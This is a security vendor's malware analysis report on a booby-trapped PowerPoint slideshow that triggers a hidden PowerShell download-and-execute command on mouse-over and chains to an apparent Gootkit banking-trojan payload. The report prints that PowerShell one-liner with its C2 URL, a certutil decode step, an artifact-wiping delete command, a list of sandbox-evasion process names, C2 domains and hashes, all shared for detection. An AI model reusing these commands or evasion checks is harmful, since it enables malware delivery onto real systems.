At the end of May, Carbon Black Threat Research begin analyzing a sample at the request of a customer. Variants of the sample had been previously submitted to online Sandboxes. The analysis was provided back to the customer, but after additional request, Carbon Black is releasing the findings to assist other researchers and practitioners investigating this type of attack technique.
This technical write up contains information relating to the different phases of the attack, queries and rules (including existing rules in public feeds) for detecting and preventing this type of attack can be reviewed in the Carbon Black User Exchange. For techniques like this, Carbon Black Threat Research recommends an approach focusing on detecting abnormalities as soon as possible in the overall attack scenario so that, regardless of the variants used in the latter stages, the attack can be stopped before additional code is introduced into the network.
The information for the analyzed file is listed below. The analysis provided in this report is to highlight the malicious actions of this attack and the different points where the Cb Suite can detect attacks like this.
| File Name : mouse_over_analysis_6-1-17.ppsx
File Size : 34,650 bytes MD5 : 3bff3e4fec2b6030c89e792c05f049fc SHA1 : 07a986e018c999c43e9eab1ceb0338e5d60699a8 SHA256 : 796a386b43f12b99568f55166e339fcf43a4792d292bdd05dafa97ee32518921 Fuzzy : 768:qJQGYXy+LgNnPLPOn1OG4TWOhg5hP2B1NLS3F/kUOKQZJkqEDBFlg9ISkgSn8SnN:8pYC6gPLPOn7uhbg8kDl8i Magic : Zip archive data, at least v2.0 to extract |
The image below shows a portion of the metadata available for the file, most importantly that it was most likely last saved on May 25, 2017 at 12:32 am (UTC).
Technical Details
First Stage
When the .ppsx file (Powerpoint open XML slideshow) is executed it will open in full screen mode and display the image below, which is an attempt to fool the user into believing that a presentation is being loaded.
This is where the second stage of the attack is initiated. The image itself has a hyperlink attached to it. Microsoft Office allows you to create a hyperlink to a URL or an external command. These hyperlinks can be executed either by clicking on the hyperlinked area or by mousing over the hyperlinked area.
This document was saved in the open XML format, and its contents can easily be reviewed by unzipping the file with any standard unpacking tool. Once unpacked the malicious code can be located and reviewed. The below image shows the file structure of the unpacked sample.
There are two specific areas that contain information relevant to the malicious activities carried out by this sample. The first is located in the unpacked_sample/ppt/slides/slide1.xml file, which contains the code responsible for the executing the hyperlink from a mouse over of the target area. The image below displays this code, which is highlighted in the red box.
The code responsible for downloading the next payload in the attack is located in the unpacked_sample/ppt/slides/_rels/slide1.xml.rels file. The image below displays the contents of the slide1.xml.rels file, the powershell command is highlighted in the red box.
The table below displays the powershell command in a format that is easier to read. The C2 (hxxp://cccn.nl/c.php) is clearly visible in the table below. There are numerous rules (and the advanced threats feed 1) that can be applied to all of the Cb Products that could alert/detect/terminate the attack at this point. This UeX article provides some rules for each product and the comments provide how other CB Users are detecting this type of behavior. The other portions of the command directly relate to downloading a file from the obfuscated C2 string, saving the file returned by the request to the current user’s Temp folder as ii.jse, and then executing that file.
| ” powershell -NoP -NonI -W Hidden -Exec Bypass “IEX (New-Object System.Net.WebClient).DownloadFile(‘http:’+/+/+’cccn.nl’+/+’c.php’,\”$env:temp\ii.jse\”); Invoke-Item \”$env:temp\ii.jse\””” |
It should be noted, which has been previously documented in public post, that the server performs a check that if failed will redirect to www.google.com and if passed will serve the secondary payload (located at hxxp://cccn.nl/2.2) back to the requesting system.
Second Stage
The image below, displays the network traffic when PowerShell request the c.php file and redirected and served the malicious payload. The data highlighted in green clearly shows the redirect and the data highlighted in red shows the data returned to the request, which will be saved to the system as ii.jse.
The metadata below is for the downloaded file (on the Date in the above network traffic), which is created on the infected system as ii.jse.
| File Name : ii.jse
File Size : 335,271 bytes MD5 : f5b3d1128731cac04b2dc955c1a41114 SHA1 : 104919078a6d688e5848ff01b667b4d672b9b447 SHA256 : 55821b2be825629d6674884d93006440d131f77bed216d36ea20e4930a280302 |
From the data (highlighted in red above) in the network response and the filename extension the file’s contents are an encoded javascript file. There are numerous open source projects that will decode this type of java script file. Once decoded the script is approximately 17,00 lines of obfuscated code, that is intended to frustrate analysis. A small excerpt of the code is displayed in the image below.
CB Threat Research wrote python script2 to parse and clean up the obfuscation of the above code, resulting in a readable script that is approximately 260 lines of code.
The ii.jse script will initially check to ensure that the script it not named seter64.jse, if that is the current file’s name the script will exit. The script will perform several checks (an attempt to determine if the script is being run in a VM or analysis type environment) to see if its parent process is specifically named one of the following:
- Procmon
- Wireshark
- Tempiexplore.exe
- ProcessHacker
- Vmtoolsd
- VboxService
- Python
- Proxifier
- Johnson-PC
- ImmunityDebugger.exe
- lordPE.exe
- Ctfmon.exe
- BehaviorDumper
- Anti – virus.exe
- AgentSimulator.exe
- VzService.exe
- RemoveGuestWindow
Once the checks are completed the script will begin to build a request to hxxps://185.159.82.38 over TCP port 45000 (the C2 is clearly visible in the image depicting the parsed script above) for the next payload which will be stored on the system as [randomcharacters].gop. The image below is a small part of the code which is responsible for building the request.
The script will perform some other checks to determine that the .gop file is of at least a certain length before calling certutil and subsequently saving the file as [randomcharacters].exe. This is highlighted in the code below.
It should be noted that the payload that is downloaded (saved with a .gop file extension) and saved to disk is a base64 encoded file, that is decoded using the command certutil.exe -decode source_path.gop destination_path.exe.
Ultimately the script will then execute the newly created payload and run the following script to clean up the prior malicious activities and remove artifacts from the infected system.
cmd /U /Q /C del /Q /F %TEMP%\*.exe && del /Q /F %TEMP%\*.gop && del /Q /F %TEMP%\*.txt && del /Q /F %TEMP%\*.log && del /Q /F %TEMP%\*.jse
Third Stage
The metadata for the third stage executable (available at the time of analysis) saved to disk by the ii.jse file is listed in the table below.
| File Name : third_stage_exe
File Size : 237,568 bytes MD5 : 13cdbd8c31155610b628423dc2720419 SHA1 : 7633a023852d5a0b625423bffc3bbb14b81c6a0c SHA256 : 55c69d2b82addd7a0cd3bebe910cd42b7343bd3faa7593356bcdca13dd73a0ef Fuzzy : 3072:3LsIceWY7lHJ8X3+iOTh+Y4qSediiqKxbcJts3Fsgtn7F61oEJtHm/T1SzIzIOf:3THmHgz58ixbcqFcNJtMAss+ Compiled Time : Fri May 26 14:07:07 2017 UTC PE Sections (4) : Name Size MD5 .text 196,608 adef69f1bd1149eb149f3eb1ad2ba7f7 .data 28,672 2adeb7f6247d072cbf970936431827b7 .rsrc 4,096 641a9bf6d5ed982364f8cb344e49c3ec .reloc 4,096 8a4262deb67dd81812102dee601b82b4 Magic : PE32 executable for MS Windows (GUI) Intel 80386 32-bit |
The third stage executable contains several layers of a custom unpacking routine. Ultimately a binary (with headers intact) is written to allocated memory and called. The metadata for the unpacked binary is listed in the table below. From analysis of the final payload it appears to be a Gootkit variant, CarbonBlack Research was able to locate several related variants3.
| File Name : third_stage_payload.exe
File Size : 118,272 bytes MD5 : dadf1240cbcd8dec1cc1a17f97ce4860 SHA1 : 8ab01141c62f3520d189236f999706f4c862e167 SHA256 : 2b1cf83ee3b705290314a4db153476e6ac9beb7db086e9ca92f3807898a80fe3 Fuzzy : 3072:PIB1u15+hyCrhOBdcvaoF9iBT9ypRcFKd+iU2:P+m5+hyCFOBqvTF9iFgpaFKd+iU2 Compiled Time : Mon Apr 11 02:39:24 2011 UTC PE Sections (4) : Name Size MD5 .text 61,440 f4fe5ae44011e2e5f48709d5ce7c504f .rdata 7,680 acd531cb09576f502b032dba081fb3e0 .data 44,032 712b967ff0ce96ee976ed9d90ca9163f .reloc 4,096 b2d3a7cc3700ec88d68d6e586714a9e7 Magic : PE32 executable for MS Windows (GUI) Intel 80386 32-bit
|
This sample uses several techniques to decode different embedded strings and executables. One of these techniques is displayed below, and is an example of string stacking, where an encoded buffer and the XOR key used to decode the string are pushed into certain memory locations. A function responsible for decoding one of the hard coded string is displayed below.
The area highlighted in the red box is relevant for the first portion of decoding. The boxes that are highlighted in blue are the encoded values being concatenated together in memory. It should be noted that the value 6 is pushed and popped on the stack, is used in the overall encoded string as well as a specific value used in the next phase of decoding (highlighted by the blue arrow). The boxes highlighted in green are then concatenated in memory and are used as the XOR key to decode the previously referenced string. The tables below display the concatenated encoded string and the XOR key, from the above image.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 38 71 06 34 35 4E 26 71 16 34 6F 4E 30 71 0D 34 8q 45N&q 4oN0q 4
00000010 24 4E 55 71 $NUq
Encoded String
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 55 71 75 34 41 4E Uqu4AN
XOR Key
The next phase of the decoding function is responsible for XORing the encoded string with the key. The commands responsible for the decoding is highlighted in the orange box in the image below. The hardcoded value that was pushed and popped on the stack (in this scenario 0x06) is the length of the XOR key, which it will rotate through to match the length of the encoded string. The counter value is loaded into the EAX register and then the idiv command is used with the value previously stored in memory (in this case 0x06). This results in the modular function where the counter value is divided by the 0x06 value and the remainder is stored in the EDX register. The remainder value is then used as an offset into the 6 byte XOR key. It should be noted that different XOR keys of different lengths are used throughout this sample, however the approach to decode each instance is the same.
The previously referenced encoded string is decoded to the following value (mstsc.exe). The sample will then check to see if the current process’ parent process is mstsc.exe. It appears that the malware author(s) used this process as it typically is associated with network connections, and not that they are necessarily trying to exploit or utilize the RDP protocol.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 6D 00 73 00 74 00 73 00 63 00 2E 00 65 00 78 00 m s t s c . e x 00000010 65 00 00 00 e
This sample can also decode two embedded executables into memory and then launch the decoded binaries as child processes as necessary. It should be noted that the binaries appear to be x86 and 64 bit versions of the same code. The technique for decoding the binary differs from the previously described method. The pseudo-code for the function responsible for decoding the embedded binaries is displayed in the image below.
This red boxes in the image above highlight where a hard coded XOR key (0x0F and 0x0C in length respectively) are used to decode a corresponding buffer. The table below displays a small excerpt of data used by the code in the first red box. The values highlighted in red is the XOR key and the values in black are the encoded binary. The repetition of the XOR key can be observed in the portions that are typically associated null values in PE binaries.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00011380 58 62 41 74 58 68 52 55 4B 41 72 6B XbAtXhRUKArk 00011390 59 6D 7000 00 00 00 00 00 00 00 00 00 00 00 00 Ymp 000113A0 15 38 D1 74 5B 68 52 55 4F 41 72 6B A6 92 70 58 8Ñt[hRUOArk¦’pX 000113B0 DA 41 74 58 68 52 55 4B 01 72 6B 59 6D 70 58 62 ÚAtXhRUK rkYmpXb 000113C0 41 74 58 68 52 55 4B 41 72 6B 59 6D 70 58 62 41 AtXhRUKArkYmpXbA 000113D0 74 58 68 52 55 4B 41 72 6B 59 6D 70 80 62 41 74 tXhRUKArkYmp€bAt 000113E0 56 77 E8 5B 4B F5 7B A6 78 D5 71 14 AF 60 20 30 Vwè[Kõ{¦xÕq ¯` 0 000113F0 01 21 75 3B 33 1D 0C 2B 0C 1D 78 01 20 1A 36 07 !u;3 + x 6 00011400 26 75 29 24 52 19 2C 03 50 31 0C 61 30 17 3B 72 &u)$R , P1 a0 ;r 00011410 38 24 25 17 45 54 60 7A 7C 62 41 74 58 68 52 55 8$% ET`z|bAtXhRU 00011420 2B BC CB B2 7D F1 A7 D2 46 DD A3 D2 4C CE 82 C1 +¼Ë²}ñ§ÒFÝ£ÒL΂Á 00011430 42 28 C7 D3 4B EC 8F E8 6C 90 1C E2 7F C9 9C CB B(ÇÓKì èl â ÉœË 00011440 56 F7 8F E7 1B C4 B5 CB C2 9A B6 D9 7F D7 96 F8 V÷ ç ĵËš¶Ù ×–ø 00011450 DD 9B B8 FB 7D FE 96 FE 0A 01 31 3D 6F DD A5 E1 Ý›¸û}þ–þ 1=oÝ¥á 00011460 59 6D 70 58 62 41 74 58 68 52 55 4B 41 72 6B 59 YmpXbAtXhRUKArkY 00011470 6D 70 58 62 41 74 58 68 02 10 4B 41 3E 6A 5D 6D mpXbAtXh KA>j]m 00011480 AC 5F 56 19 74 58 68 52 55 4B 41 72 8B 59 6F 51 ¬_V tXhRUKAr‹YoQ 00011490 53 63 4F 74 58 72 52 55 4B 67 72 6B 59 6D 70 58 ScOtXrRUKgrkYmpX 000114A0 CB 61 74 58 68 42 55 4B 41 42 6B 59 6D 70 58 72 ËatXhBUKABkYmpXr 000114B0 41 64 58 68 52 57 4B 41 77 6B 58 6D 70 58 62 41 AdXhRWKAwkXmpXbA 000114C0 71 58 69 52 55 4B 41 72 6B 29 6D 70 58 66 41 74 qXiRUKArk)mpXfAt 000114D0 58 68 52 55 49 41 32 6E 59 6D 60 58 62 51 74 58 XhRUIA2nYm`XbQtX 000114E0 68 52 45 4B 41 62 6B 59 6D 70 58 62 51 74 58 68 hREKAbkYmpXbQtXh
This metadata for the two embedded binaries (decoded), is listed in the two tables below respectively.
| File Name : embedded_payload_1
File Size : 17,408 bytes MD5 : 3d2bc83c187dfc6191a9de8306aafa56 SHA1 : 1ae3b9f2686f27ae9028532b4fe26ce0493b71aa SHA256 : 7b885ade54cf1ea610f249bc937bdcd637557ca3b474b62f98cac8317e245939 Fuzzy : 384:e9RNRBCF7TfHadRNasbMMFyCzu/mGBh0ILH8yQ:y3sHyMNIj/IwyQ Compiled Time : Tue Nov 22 08:54:52 2016 UTC PE Sections (4) : Name Size MD5 .text 6,656 5cbc07e39aff0cc10bb8f53ec395c8a6 .rdata 7,168 027e00e0c947aa59c5b87c93ff1204e4 .data 512 a22814af83fd0528d6a52265734bbcd5 .reloc 2,048 a1f368e7d63750587b203e3bfab81ee6 |
| File Name : embedded_payload_2
File Size : 25,088 bytes MD5 : 2324da702023d601b295610bc26e3778 SHA1 : 0f3e7ae792ef1312f0efed71210e05c8e3e8e7a8 SHA256 : 174d202a002ce7cfde3f19e9cff8a32cba622879ee2c7953ae069243ddfdfdbc Fuzzy : 384:jxdFR4kG9ySXHAE98OuVxU7YJ4QVva5oeqKA/4aizss0ss:/F2XOOuVx5yw3Q8 Compiled Time : Thu Nov 17 10:33:53 2016 UTC PE Sections (5) : Name Size MD5 .text 9,216 80a8c5bb6fb4030ae7577b70abedfb26 .rdata 12,288 3a238953b6b91910f8de439cebbc759e .data 512 a22814af83fd0528d6a52265734bbcd5 .pdata 512 d174071a26f2f9d127e80e268255608c .reloc 1,536 8f4fbbc714aea280f2a0e3c48e089517
|
The last technique that is used is related to decoding configuration information. The pseudo-code responsible for decoding the configuration information is displayed in the image below.
The first red box in the image above is the first value used in the dynamically generated XOR key. This value is used as a base for each following XOR value that is used to decode the configuration information. The second red box shows the manner in which subsequent XOR values of the overall key are generated. It should be noted that the variable names were changed for clarity purposes. The following python code can decode the configuration information and print the relevant entries (removing null values).
| d = ‘Encoded Buffer’
out = [] key = 0x22 #First Value of XOR Key i = 0
for x in d: dec_value = ord(x) ^ key key = key + (0x3 * ( i % 0x85)) & 0xFF i = i +1 out.append(chr(dec_value))
out = filter(None, ”.join(out).split(‘\x00’)) |
This table below shows the output from the above script for this sample’s configuration information.
| [‘web.190lospinosct.com’, ‘trktrk.eu’, ‘buyyou.org’, ‘plane.theseatcover.com’, ‘\x05\x0d’, ‘svchost.exe’] |
Footnotes
1. [Powershell Executing Hidden, Encoded Commands — Community]↩
2. [This python script can be requested through the Carbon Black UserExchange]↩
3. [c9556f0b84305ccf7653da354b54d1c4ba206bc247e736933297ca36bc78cfb1 91b7e93df1075b15fc67e0074c17f7ca452ddfd66ae2c338adea823f84d21a23 6df6cc67146a4f5348cd3febaae351ad5144b646b7ec19383bba91a4d6625c53 0b9b8ff52ffa1476f1b45fea1cdf6d8d4c9f19b823d9299537e3aa9c27ee32b0 d53eecc1cb952e5331e440d782080e7a26dfb1c2859cf9bcef8028de809c0dd9]↩
